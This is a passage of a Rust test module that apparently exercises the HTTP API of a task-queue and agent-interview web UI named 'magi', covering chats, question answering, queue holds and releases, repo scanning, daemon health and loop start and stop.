3545        assert_eq!(chats.as_array().map(Vec::len), Some(2));
3546        assert_eq!(
3547            chats[0]["id"], "20260903-014456-open",
3548            "an unfinished interview is what the operator came back for: {chats}"
3549        );
3550        assert_eq!(chats[0]["status"], "open");
3551        // The transcript is the only thing a chat is made of, so the list
3552        // carries it rather than making the phone fetch each one.
3553        assert_eq!(chats[0]["turns"][0]["who"], "operator");
3554        assert_eq!(chats[0]["turns"][1]["body"], "Which part is hurting?");
3555        assert_eq!(chats[1]["status"], "filed");
3556
3557        // The one number that says "you left an interview open"; a filed one
3558        // has become a task and must not keep counting.
3559        assert_eq!(fx.get("/api/health").await.json()["chats_open"], 1);
3560    }
3561
3562    #[tokio::test]
3563    async fn one_interview_is_readable_by_short_id_and_an_unknown_one_is_a_404() {
3564        let fx = Fixture::start().await;
3565        let id = interview(&fx, "20260903-014455-ab12", "open", None);
3566
3567        let full = fx.get(&format!("/api/chats/{id}")).await;
3568        assert_eq!(full.status, 200, "{}", full.body);
3569        assert_eq!(full.json()["id"], id);
3570        assert_eq!(full.json()["repo"], "/repo/magi");
3571
3572        // The short id is what the operator reads off a notification.
3573        let short = fx.get("/api/chats/ab12").await;
3574        assert_eq!(short.status, 200, "{}", short.body);
3575        assert_eq!(short.json()["id"], id);
3576
3577        let missing = fx.get("/api/chats/nosuchchat").await;
3578        assert_eq!(missing.status, 404, "{}", missing.body);
3579        assert!(
3580            missing.json()["error"]
3581                .as_str()
3582                .is_some_and(|e| e.contains("chat")),
3583            "the error names what was not found: {}",
3584            missing.body
3585        );
3586    }
3587
3588    #[tokio::test]
3589    async fn filing_a_bad_draft_reports_every_problem_at_once() {
3590        let fx = Fixture::start().await;
3591        let id = interview(&fx, "20260903-014455-ab12", "open", Some("do the thing"));
3592
3593        let res = fx.post(&format!("/api/chats/{id}/file"), None).await;
3594
3595        assert_eq!(res.status, 400, "{}", res.body);
3596        let problems = res.json()["problems"].clone();
3597        let problems = problems.as_array().expect("an array of problems");
3598        // Every problem, not the first one. The operator is on a phone: a
3599        // draft with no title and no acceptance criteria is one edit, and
3600        // reporting it one problem per round trip means asking the interviewer
3601        // to rewrite it twice.
3602        assert!(
3603            problems.len() > 1,
3604            "one round trip has to be enough to fix the draft: {}",
3605            res.body
3606        );
3607        assert!(problems.iter().all(|p| p.is_string()), "{}", res.body);
3608        assert!(res.json()["error"].is_string(), "{}", res.body);
3609        assert!(
3610            fx.queue().list().is_empty(),
3611            "a refused draft must not reach the queue"
3612        );
3613
3614        // An interview the agent has not drafted for at all is the same shape,
3615        // so the front end has one path rather than two.
3616        let empty = interview(&fx, "20260903-014456-cd34", "open", None);
3617        let res = fx.post(&format!("/api/chats/{empty}/file"), None).await;
3618        assert_eq!(res.status, 400, "{}", res.body);
3619        assert_eq!(
3620            res.json()["problems"].as_array().map(Vec::len),
3621            Some(1),
3622            "{}",
3623            res.body
3624        );
3625    }
3626
3627    #[tokio::test]
3628    async fn filing_a_good_draft_queues_it_and_answers_with_the_task_id() {
3629        let fx = Fixture::start().await;
3630        let draft = good_draft();
3631        let id = interview(&fx, "20260903-014455-ab12", "open", Some(&draft));
3632
3633        let res = fx.post(&format!("/api/chats/{id}/file"), None).await;
3634
3635        assert_eq!(res.status, 200, "{}", res.body);
3636        let task = res.json()["task"]
3637            .as_str()
3638            .unwrap_or_else(|| panic!("a task id: {}", res.body))
3639            .to_owned();
3640
3641        // The point of the whole browser interview: a real task in the real
3642        // queue, indistinguishable from one filed at a terminal.
3643        let queued = fx.queue().get(&task).expect("the task is on disk");
3644        assert_eq!(
3645            queued.instruction, draft,
3646            "the draft reaches the graph verbatim"
3647        );
3648        assert_eq!(queued.repo, PathBuf::from("/repo/magi"));
3649        assert_eq!(
3650            fx.get("/api/queue").await.json()[0]["id"],
3651            task,
3652            "the filed task is the listed one"
3653        );
3654
3655        // The interview is finished, so it stops asking to be finished.
3656        let after = fx.get(&format!("/api/chats/{id}")).await.json();
3657        assert_eq!(after["task"], task);
3658        assert_eq!(after["status"], "filed");
3659        assert_eq!(fx.get("/api/health").await.json()["chats_open"], 0);
3660    }
3661
3662    #[tokio::test]
3663    async fn a_second_turn_on_a_busy_chat_is_refused_rather_than_interleaved() {
3664        let fx = Fixture::start().await;
3665        let id = interview(&fx, "20260903-014455-ab12", "open", None);
3666        let ui = Ui::new(
3667            fx.queue(),
3668            fx.questions(),
3669            fx.chats(),
3670            fx.runs(),
3671            fx.home.path().to_path_buf(),
3672            PathBuf::from("/repo/magi"),
3673        );
3674
3675        // The claim a running `POST /say` holds. Taken directly rather than by
3676        // starting a turn, because a turn spawns an agent CLI and no test here
3677        // is allowed to do that.
3678        let first = ui.begin_turn(&id).expect("the first turn claims the chat");
3679        let second = ui.begin_turn(&id).expect_err("the second must be refused");
3680        assert_eq!(
3681            second.status,
3682            StatusCode::CONFLICT,
3683            "a double tap on a slow link must not append two half-turns"
3684        );
3685
3686        // Dropped rather than released by hand, which is what makes a cancelled
3687        // request - a phone that walked out of range mid-turn - leave the chat
3688        // usable instead of wedged until the server restarts.
3689        drop(first);
3690        assert!(
3691            ui.begin_turn(&id).is_ok(),
3692            "the slot has to come back on its own"
3693        );
3694    }
3695
3696    #[tokio::test]
3697    async fn a_turn_with_nothing_in_it_never_reaches_an_agent() {
3698        let fx = Fixture::start().await;
3699        let id = interview(&fx, "20260903-014455-ab12", "open", None);
3700
3701        // Refused on the request, before the chat is even resolved, so an
3702        // accidental send costs neither a model call nor a turn in the record.
3703        for body in [r#"{"text":"   \n "}"#, r#"{}"#] {
3704            let res = fx.post(&format!("/api/chats/{id}/say"), Some(body)).await;
3705            assert_eq!(res.status, 400, "{body}: {}", res.body);
3706        }
3707        let res = fx.post("/api/chats", Some(r#"{"idea":"  "}"#)).await;
3708        assert_eq!(res.status, 400, "{}", res.body);
3709
3710        assert_eq!(
3711            fx.get(&format!("/api/chats/{id}")).await.json()["turns"]
3712                .as_array()
3713                .map(Vec::len),
3714            Some(2),
3715            "nothing above may have appended a turn"
3716        );
3717    }
3718
3719    #[tokio::test]
3720    async fn a_run_with_an_open_question_reads_as_waiting() {
3721        let fx = Fixture::start().await;
3722        let run = "20260902-000000-beef".to_owned();
3723        write_run(&fx.runs(), &run, RunStatus::Implementing);
3724
3725        let before = fx.get("/api/runs").await.json();
3726        assert_eq!(before[0]["waiting"], false, "{before}");
3727
3728        let store = fx.questions();
3729        let mut q = Question::new(
3730            run.clone(),
3731            "implement".to_owned(),
3732            "impl-A".to_owned(),
3733            "Which backend?".to_owned(),
3734            String::new(),
3735            vec!["SQLite".to_owned()],
3736        );
3737        store.put(&mut q).expect("put");
3738
3739        let during = fx.get("/api/runs").await.json();
3740        assert_eq!(during[0]["waiting"], true, "{during}");
3741
3742        // Answered: the run is moving again, and the flag has to follow without
3743        // anything having rewritten run.json.
3744        q.answer(Answer::Choice("SQLite".to_owned()))
3745            .expect("answer");
3746        store.put(&mut q).expect("put");
3747        let after = fx.get("/api/runs").await.json();
3748        assert_eq!(after[0]["waiting"], false, "{after}");
3749    }
3750
3751    #[tokio::test]
3752    async fn an_open_question_is_listed_and_counted_by_health() {
3753        let fx = Fixture::start().await;
3754        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
3755
3756        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
3757        let listed = fx.get("/api/questions").await.json();
3758        assert_eq!(listed.as_array().expect("array").len(), 1);
3759        assert_eq!(listed[0]["id"], id);
3760        assert_eq!(listed[0]["status"], "open");
3761        assert_eq!(listed[0]["choices"][1], "Redis");
3762        // The count is what makes the phone's indicator honest: it is the one
3763        // number meaning nothing will move until a human acts.
3764        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
3765    }
3766
3767    #[tokio::test]
3768    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
3769        let fx = Fixture::start().await;
3770        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
3771        let path = format!("/api/questions/{id}/answer");
3772
3773        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
3774        assert_eq!(res.status, 200, "{}", res.body);
3775        let body = res.json();
3776        assert_eq!(body["status"], "answered");
3777        assert_eq!(body["answer"]["choice"], "Redis");
3778
3779        // Answered from the terminal in between the list and the tap: the UI
3780        // must be able to tell this from a bad request, so it can show the
3781        // recorded answer instead of an error.
3782        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
3783        assert_eq!(again.status, 409, "{}", again.body);
3784        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
3785    }
3786
3787    #[tokio::test]
3788    async fn an_answer_the_question_does_not_offer_is_refused() {
3789        let fx = Fixture::start().await;
3790        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
3791        let path = format!("/api/questions/{id}/answer");
3792
3793        for body in [
3794            r#"{"choice":"Postgres"}"#,
3795            r#"{"text":"whatever you think"}"#,
3796            r#"{"choice":"Redis","text":"both"}"#,
3797            r#"{}"#,
3798        ] {
3799            let res = fx.post(&path, Some(body)).await;
3800            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
3801            assert!(res.json()["error"].is_string(), "{}", res.body);
3802        }
3803        // Nothing above may have answered it.
3804        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
3805    }
3806
3807    #[tokio::test]
3808    async fn a_free_text_question_takes_text_and_not_a_choice() {
3809        let fx = Fixture::start().await;
3810        let id = ask(&fx, "What should the flag be called?", &[]);
3811        let path = format!("/api/questions/{id}/answer");
3812
3813        assert_eq!(
3814            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
3815            400
3816        );
3817        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
3818        assert_eq!(res.status, 200, "{}", res.body);
3819        assert_eq!(res.json()["answer"]["text"], "--json");
3820    }
3821
3822    #[tokio::test]
3823    async fn an_unknown_question_is_a_json_404() {
3824        let fx = Fixture::start().await;
3825        let res = fx
3826            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
3827            .await;
3828        assert_eq!(res.status, 404, "{}", res.body);
3829        assert!(res.json()["error"].is_string());
3830    }
3831
3832    #[tokio::test]
3833    async fn a_blank_instruction_is_rejected_and_files_nothing() {
3834        let f = Fixture::start().await;
3835
3836        let res = f
3837            .post("/api/queue", Some(r#"{"instruction":"   \n  "}"#))
3838            .await;
3839
3840        assert_eq!(res.status, 400);
3841        assert!(
3842            res.json()["error"].as_str().is_some_and(|e| !e.is_empty()),
3843            "a rejection has to say why: {}",
3844            res.body
3845        );
3846        assert!(
3847            f.queue().list().is_empty(),
3848            "a rejected task must not reach the disk"
3849        );
3850    }
3851
3852    #[tokio::test]
3853    async fn a_malformed_body_is_a_bad_request_not_an_unprocessable_entity() {
3854        let f = Fixture::start().await;
3855
3856        let res = f.post("/api/queue", Some("{not json")).await;
3857
3858        // The UI branches on 400; axum's default for a bad body is 422, which
3859        // it would report as an unknown failure.
3860        assert_eq!(res.status, 400);
3861    }
3862
3863    #[tokio::test]
3864    async fn a_posted_task_is_queued_with_a_title_taken_from_its_instruction() {
3865        let f = Fixture::start().await;
3866
3867        let created = f
3868            .post(
3869                "/api/queue",
3870                Some(
3871                    r##"{"instruction":"# Rework the config loader\n\nIt re-reads the file on every lookup"}"##,
3872                ),
3873            )
3874            .await;
3875        assert_eq!(created.status, 201);
3876
3877        let listed = f.get("/api/queue").await;
3878        let tasks = listed.json();
3879        let task = &tasks[0];
3880
3881        assert_eq!(tasks.as_array().map(Vec::len), Some(1));
3882        // The title the server derives is the summary the author already
3883        // wrote, without its marker.
3884        assert_eq!(task["title"], "Rework the config loader");
3885        assert_eq!(task["source_label"], "human");
3886        assert_eq!(task["status_str"], "queued");
3887        assert_eq!(task["repo"], "/repo/magi", "the server's default repo");
3888        assert_eq!(
3889            task["id"],
3890            created.json()["id"],
3891            "the posted task is the listed one"
3892        );
3893        assert!(
3894            task["instruction"]
3895                .as_str()
3896                .is_some_and(|i| i.starts_with("# Rework the config loader\n\nIt re-reads")),
3897            "the instruction reaches the graph verbatim, markers and all: {}",
3898            task["instruction"]
3899        );
3900    }
3901
3902    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
3903    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
3904        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
3905            .expect("checkout dir");
3906    }
3907
3908    #[tokio::test]
3909    async fn repos_list_returns_name_and_path_for_every_configured_root() {
3910        let tmp = TempDir::new().expect("tempdir");
3911        let repo = tmp.path().join("repo");
3912        std::fs::create_dir_all(&repo).expect("repo dir");
3913        let root = tmp.path().join("root");
3914        make_checkout(&root, "github.com", "yukimemi", "magi");
3915        std::fs::write(
3916            repo.join("magi.toml"),
3917            format!(
3918                "[repos]\nroots = [{:?}]\n",
3919                root.to_string_lossy().into_owned()
3920            ),
3921        )
3922        .expect("write magi.toml");
3923
3924        let f = Fixture::with_repo(repo).await;
3925        let res = f.get("/api/repos").await;
3926        assert_eq!(res.status, 200, "{}", res.body);
3927        let list = res.json();
3928        let repos = list.as_array().expect("an array");
3929        assert_eq!(repos.len(), 1);
3930        assert_eq!(repos[0]["name"], "yukimemi/magi");
3931        assert!(
3932            repos[0]["path"]
3933                .as_str()
3934                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
3935            "{list}"
3936        );
3937    }
3938
3939    #[tokio::test]
3940    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
3941        let tmp = TempDir::new().expect("tempdir");
3942        let repo = tmp.path().join("repo");
3943        std::fs::create_dir_all(&repo).expect("repo dir");
3944        let root = tmp.path().join("root");
3945        make_checkout(&root, "github.com", "yukimemi", "magi");
3946        std::fs::write(
3947            repo.join("magi.toml"),
3948            format!(
3949                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
3950                root.to_string_lossy().into_owned()
3951            ),
3952        )
3953        .expect("write magi.toml");
3954
3955        let f = Fixture::with_repo(repo).await;
3956        let first = f.get("/api/repos").await;
3957        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
3958
3959        // A second checkout appears; within the TTL the cached answer must
3960        // not notice it.
3961        make_checkout(&root, "github.com", "yukimemi", "rvpm");
3962        let second = f.get("/api/repos").await;
3963        assert_eq!(
3964            second.json().as_array().map(Vec::len),
3965            Some(1),
3966            "a fresh cache must not rescan inside the TTL"
3967        );
3968
3969        let refreshed = f.get("/api/repos?refresh=1").await;
3970        assert_eq!(
3971            refreshed.json().as_array().map(Vec::len),
3972            Some(2),
3973            "an explicit refresh must rescan even inside the TTL"
3974        );
3975    }
3976
3977    #[tokio::test]
3978    async fn posting_a_chat_with_an_unknown_from_names_the_id_in_a_4xx() {
3979        let f = Fixture::start().await;
3980        let res = f
3981            .post(
3982                "/api/chats",
3983                Some(r#"{"idea":"same idea, another repo","from":"nosuchchat"}"#),
3984            )
3985            .await;
3986        assert!(res.status >= 400 && res.status < 500, "{}", res.status);
3987        assert!(
3988            res.json()["error"]
3989                .as_str()
3990                .is_some_and(|e| e.contains("nosuchchat")),
3991            "the error names the id that does not exist: {}",
3992            res.body
3993        );
3994        assert!(
3995            f.chats().list().is_empty(),
3996            "a chat must not be created against an unresolvable `from`"
3997        );
3998    }
3999
4000    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
4001    /// string, declared straight in a repository's own `magi.toml` rather
4002    /// than the operator's real roster. No real agent CLI is spawned - `sh`
4003    /// is the interpreter, the same as `chat::tests::mock_agent` uses - so
4004    /// this is safe to run over a real HTTP round trip, unlike every other
4005    /// `POST /api/chats` test in this module.
4006    ///
4007    /// `[roles] planner` is pinned here too, and not left to the built-in
4008    /// "first runnable agent" fallback: an operator's own machine layer can
4009    /// (and, on at least one real machine this was written and tested on,
4010    /// does) already pin a `planner` naming a roster seat this file does not
4011    /// have. `roles.planner` is a scalar, so restating it in this
4012    /// higher-precedence repo layer is not the array conflict
4013    /// `config::array_keys` refuses - it is exactly the override the layering
4014    /// exists for, and it is what keeps this test's outcome independent of
4015    /// whatever the machine layer happens to say.
4016    const MOCK_AGENT_TOML: &str = "[roles]\nplanner = \"mock\"\n\n[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
4017
4018    #[tokio::test]
4019    async fn a_posted_chat_takes_the_given_repo_and_otherwise_keeps_the_servers_own() {
4020        let tmp = TempDir::new().expect("tempdir");
4021        let repo = tmp.path().join("repo");
4022        let other = tmp.path().join("other");
4023        std::fs::create_dir_all(&repo).expect("repo dir");
4024        std::fs::create_dir_all(&other).expect("other repo dir");
4025        // Both need their own roster: `chat_post` re-discovers config against
4026        // whichever repo the request names, and a repo with no `magi.toml` of
4027        // its own would fall back to the operator's real, installed agent CLIs.
4028        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
4029        std::fs::write(other.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
4030
4031        let f = Fixture::with_repo(repo.clone()).await;
4032
4033        let default_res = f
4034            .post("/api/chats", Some(r#"{"idea":"rework the config loader"}"#))
4035            .await;
4036        assert_eq!(default_res.status, 201, "{}", default_res.body);
4037        assert_eq!(
4038            default_res.json()["repo"],
4039            repo.canonicalize().unwrap().display().to_string(),
4040            "omitting `repo` must keep the server's own"
4041        );
4042
4043        let body = format!(
4044            r#"{{"idea":"rework the config loader","repo":{:?}}}"#,
4045            other.to_string_lossy()
4046        );
4047        let explicit_res = f.post("/api/chats", Some(&body)).await;
4048        assert_eq!(explicit_res.status, 201, "{}", explicit_res.body);
4049        assert_eq!(
4050            explicit_res.json()["repo"],
4051            other.canonicalize().unwrap().display().to_string(),
4052            "an explicit `repo` must override the server's own"
4053        );
4054    }
4055
4056    #[tokio::test]
4057    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
4058        let f = Fixture::start().await;
4059        let queue = f.queue();
4060        let mut task = Task::new(
4061            "spent".to_owned(),
4062            "Try again".to_owned(),
4063            PathBuf::from("/repo/magi"),
4064            Source::Human,
4065        );
4066        task.start("20260902-140502-bbbb".to_owned());
4067        task.fail("agent gave up", 9);
4068        queue.put(&mut task).expect("file the task");
4069
4070        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
4071        assert_eq!(held.status, 200);
4072        assert_eq!(held.json()["status_str"], "held");
4073
4074        let released = f
4075            .post(&format!("/api/queue/{}/release", task.id), None)
4076            .await;
4077        assert_eq!(released.status, 200);
4078        assert_eq!(released.json()["status_str"], "queued");
4079        assert_eq!(
4080            released.json()["attempts"],
4081            0,
4082            "release is a real second chance, not an instant re-hold"
4083        );
4084        assert_eq!(
4085            queue.get(&task.id).expect("reload").status,
4086            TaskStatus::Queued,
4087            "the change is on disk, not only in the reply"
4088        );
4089        assert!(
4090            !f.home
4091                .path()
4092                .join("queue")
4093                .join(format!("{}.lock", task.id))
4094                .exists(),
4095            "the claim the mutation took is released again"
4096        );
4097    }
4098
4099    #[tokio::test]
4100    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
4101        let f = Fixture::start().await;
4102        let queue = f.queue();
4103        let mut task = Task::new(
4104            "busy".to_owned(),
4105            "Running right now".to_owned(),
4106            PathBuf::from("/repo/magi"),
4107            Source::Human,
4108        );
4109        queue.put(&mut task).expect("file the task");
4110        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
4111
4112        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
4113
4114        assert_eq!(res.status, 409);
4115        assert_eq!(
4116            queue.get(&task.id).expect("reload").status,
4117            TaskStatus::Queued,
4118            "the refused hold changed nothing"
4119        );
4120    }
4121
4122    #[tokio::test]
4123    async fn unknown_ids_are_json_not_found_on_both_stores() {
4124        let f = Fixture::start().await;
4125
4126        let run = f.get("/api/runs/nosuchrun").await;
4127        let task = f.post("/api/queue/nosuchtask/hold", None).await;
4128
4129        assert_eq!(run.status, 404);
4130        assert_eq!(task.status, 404);
4131        assert!(
4132            run.json()["error"]
4133                .as_str()
4134                .is_some_and(|e| e.contains("run")),
4135            "the error names what was not found: {}",
4136            run.body
4137        );
4138        assert!(
4139            task.json()["error"]
4140                .as_str()
4141                .is_some_and(|e| e.contains("task")),
4142            "the error names what was not found: {}",
4143            task.body
4144        );
4145    }
4146
4147    #[tokio::test]
4148    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
4149        let f = Fixture::start().await;
4150
4151        let missing = f.get("/api/health").await.json();
4152        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
4153
4154        write_daemon(
4155            f.home.path(),
4156            Timestamp::now() - jiff::SignedDuration::from_secs(60),
4157        );
4158        let stale = f.get("/api/health").await.json();
4159        assert_eq!(
4160            stale["daemon"]["running"], false,
4161            "a minute without a heartbeat is a dead daemon, not a busy one"
4162        );
4163        assert!(
4164            stale["daemon"]["stale_for_secs"]
4165                .as_i64()
4166                .is_some_and(|s| s >= 55),
4167            "staleness is reported so the UI can say how long: {stale}"
4168        );
4169
4170        write_daemon(f.home.path(), Timestamp::now());
4171        let fresh = f.get("/api/health").await.json();
4172        assert_eq!(fresh["daemon"]["running"], true);
4173        assert_eq!(fresh["daemon"]["idle"], false);
4174        assert_eq!(fresh["daemon"]["pid"], 4242);
4175        assert_eq!(fresh["daemon"]["completed"], 7);
4176        assert_eq!(fresh["daemon"]["current"]["task"], "20260902-140501-aaaa");
4177        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
4178    }
4179
4180    #[tokio::test]
4181    async fn the_loop_is_not_running_until_something_starts_it() {
4182        let f = Fixture::start().await;
4183
4184        let view = f.get("/api/loop").await.json();
4185        assert_eq!(view["running"], false);
4186        assert_eq!(
4187            view["owned"], false,
4188            "nobody owns a loop that does not exist: {view}"
4189        );
4190        assert_eq!(view["stopping"], false);
4191        assert_eq!(view["last_error"], Value::Null);
4192        assert_eq!(view["daemon"]["running"], false);
4193        assert_eq!(
4194            view["repo"], "/repo/magi",
4195            "the repository a start would use, named before it is started"
4196        );
4197    }
4198
4199    #[tokio::test]
4200    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
4201        let f = Fixture::start().await;
4202
4203        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4204        assert_eq!(res.status, 200, "{}", res.body);
4205        let view = res.json();
4206        assert_eq!(view["running"], true);
4207        assert_eq!(
4208            view["owned"], true,
4209            "the loop the UI started is the UI's own to stop: {view}"
4210        );
4211        assert_eq!(
4212            view["merge"],
4213            Value::Null,
4214            "no override was given, so each repository's own config decides"
4215        );
4216
4217        // The same object from the route a waking phone polls first. Two
4218        // surfaces disagreeing about whether anything is running is exactly
4219        // the confusion this UI exists to remove.
4220        let health = f.get("/api/health").await.json();
4221        assert_eq!(health["loop"]["running"], true, "{health}");
4222        assert_eq!(health["loop"]["owned"], true, "{health}");
4223
4224        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4225    }
4226
4227    #[tokio::test]
4228    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
4229        let f = Fixture::start().await;
4230        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4231        assert_eq!(first.status, 200, "{}", first.body);
4232
4233        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4234        assert_eq!(
4235            again.status, 409,
4236            "two loops on one queue race for the same claims: {}",
4237            again.body
4238        );
4239        assert!(
4240            again.json()["error"]
4241                .as_str()
4242                .is_some_and(|e| e.contains("already running the loop")),
4243            "the refusal has to say why: {}",
4244            again.body
4245        );
4246        assert_eq!(
4247            f.get("/api/loop").await.json()["running"],
4248            true,
4249            "and the loop that was already running is untouched by it"
4250        );
4251
4252        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4253    }
4254
4255    #[tokio::test]
4256    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
4257        let f = Fixture::start().await;
4258        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4259
4260        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4261        assert_eq!(
4262            res.status, 200,
4263            "the answer must not wait for the loop: a run in flight is tens of \
4264             minutes and the operator is holding a phone: {}",
4265            res.body
4266        );
4267
4268        let view = settled(&f, |v| v["running"] == false).await;
4269        assert_eq!(view["owned"], false);
4270        assert_eq!(
4271            view["stopping"], false,
4272            "a loop that has stopped is not still stopping: {view}"
4273        );
4274        assert_eq!(
4275            view["last_error"],
4276            Value::Null,
4277            "a loop that was asked to stop did not fail: {view}"
4278        );
4279
4280        // Idempotent, because the operator cannot tell a slow stop from a lost
4281        // one and will press it again.
4282        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4283        assert_eq!(twice.status, 200, "{}", twice.body);
4284    }
4285
4286    #[tokio::test]
4287    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
4288        let f = Fixture::start().await;
4289        // How the operator has been doing it: a `magi serve` of their own,
4290        // heartbeat fresh, in the same home this UI reads.
4291        write_daemon(f.home.path(), Timestamp::now());
4292
4293        let view = f.get("/api/loop").await.json();
4294        assert_eq!(view["running"], false, "not in this process: {view}");
4295        assert_eq!(view["owned"], false, "and not this process's to control");
4296        assert_eq!(
4297            view["daemon"]["running"], true,
4298            "but a loop is alive somewhere, which is what the UI must say"
4299        );
4300        assert_eq!(view["daemon"]["pid"], 4242);
4301
4302        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
4303            let res = f.post("/api/loop", Some(body)).await;
4304            assert_eq!(
4305                res.status, 409,
4306                "neither button may pretend to work on someone else's loop: {}",
4307                res.body
4308            );
4309            assert!(
4310                res.json()["error"]
4311                    .as_str()
4312                    .is_some_and(|e| e.contains("4242")),
4313                "the refusal has to name the process the operator must go to: {}",
4314                res.body
4315            );
4316        }
4317        assert_eq!(
4318            f.get("/api/loop").await.json()["running"],
4319            false,
4320            "and the refusal started nothing"
4321        );
4322    }
4323
4324    #[tokio::test]
4325    async fn a_stale_status_file_is_not_a_foreign_owner() {
4326        let f = Fixture::start().await;
4327        write_daemon(
4328            f.home.path(),
4329            Timestamp::now() - jiff::SignedDuration::from_secs(60),
4330        );
4331
4332        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4333        assert_eq!(
4334            res.status, 200,
4335            "a daemon killed a minute ago must not lock the loop out of its \
4336             own home for good: {}",
4337            res.body
4338        );
4339        assert_eq!(res.json()["running"], true);
4340
4341        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4342    }
4343
4344    #[tokio::test]
4345    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
4346        let f = Fixture::start().await;
4347        let before = f.get("/api/health").await.json()["loop_rev"]
4348            .as_u64()
4349            .expect("a loop revision");
4350
4351        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4352
4353        let after = f.get("/api/health").await.json()["loop_rev"]
4354            .as_u64()
4355            .expect("a loop revision");
4356        assert!(
4357            after > before,
4358            "the loop is in-process state, so this counter is the only thing \
4359             that tells a second device the first one started it: {before} -> \
4360             {after}"
4361        );
4362
4363        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4364    }
4365
4366    #[tokio::test]
4367    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
4368        let f = Fixture::with_loop(launch_broken).await;
4369
4370        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4371        assert_eq!(
4372            res.status, 200,
4373            "starting it is not the failure: {}",
4374            res.body
4375        );
4376
4377        let view = settled(&f, |v| v["last_error"].is_string()).await;
4378        assert_eq!(
4379            view["running"], false,
4380            "a loop that died must not read as running, or the operator has \
4381             nothing to press: {view}"
4382        );
4383        assert_eq!(view["owned"], false);
4384        assert!(
4385            view["last_error"]
4386                .as_str()
4387                .is_some_and(|e| e.contains("read-only file system")),
4388            "the phone is where a loop that died at 3am is visible: {view}"
4389        );
4390
4391        // And it can be started again: the corpse was reaped, not left to
4392        // occupy the slot.
4393        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4394        assert_eq!(again.status, 200, "{}", again.body);
4395        assert_eq!(
4396            again.json()["last_error"],
4397            Value::Null,
4398            "a fresh start does not keep showing why the last one died"
4399        );
4400    }
4401
4402    /// An upgrade parks the run in flight before it restarts, and a park waits
4403    /// for the node - up to `timeout_implement`, an hour by default. The deck
4404    /// has to answer for all of it: the operator has just been told a run is
4405    /// finishing first, and this address is the only place that says how it is
4406    /// going. It did not, once - the listener went with the `select!` arm that
4407    /// began the handover, and the phone got `Cannot reach magi: Failed to
4408    /// fetch` for the rest of the wave.
4409    ///
4410    /// The other half is the older rule: the address must be free *before* the
4411    /// successor is started, or it dies on "address already in use" with its
4412    /// stdio sent to null and the deck never comes back.
4413    #[tokio::test]
4414    async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
4415        let home = TempDir::new().expect("temp home");
4416        let runs = home.path().join("runs");
4417        std::fs::create_dir_all(&runs).expect("runs dir");
4418        let ui = Ui::new(
4419            Queue::at(home.path().join("queue")),
4420            Questions::at(home.path().join("questions")),
4421            Chats::at(home.path().join("chats")),
4422            runs,
4423            home.path().to_path_buf(),
4424            PathBuf::from("/repo/magi"),
4425        )
4426        .with_launch(launch_knocking_on_the_way_out);
4427        let looping = ui.looping();
4428        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
4429            .await
4430            .expect("bind loopback");
4431        let addr = listener.local_addr().expect("local addr");
4432        *PARK_KNOCK.lock().expect("park knock") = Some(addr);
4433        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
4434
4435        let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
4436        assert_eq!(started.status, 200, "the loop starts: {}", started.body);
4437
